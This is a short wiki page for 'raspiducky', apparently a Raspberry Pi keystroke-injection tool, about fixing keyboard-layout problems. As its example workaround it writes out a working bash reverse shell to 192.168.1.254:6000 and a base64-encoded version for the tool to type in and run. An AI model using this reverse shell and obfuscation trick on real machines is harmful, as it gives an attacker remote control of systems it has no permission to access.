Skip to content

Keyboard Layouts

Juan Ezquerro LLanes edited this page Apr 18, 2017 · 4 revisions

If you have problems when printing certain symbols try adjust your keyboard layout at:

  /etc/raspiducky/keyboard_layouts/current.py

Take a look to hid-gadget-test.c for a list of available shortcuts.

Also, there is a workaround when a symbol can't be printed, just convert your string to base64, by example for run a reverse shell when you are unable to print < or > :

  bash -i >& /dev/tcp/192.168.1.254/6000 0>&1

You can:

  echo "bash -i >& /dev/tcp/192.168.1.254/6000 0>&1" | base64

And run that with raspiducky:

  STRING echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjU0LzYwMDAgMD4mMQo= | base64 --decode | bash
Clone this wiki locally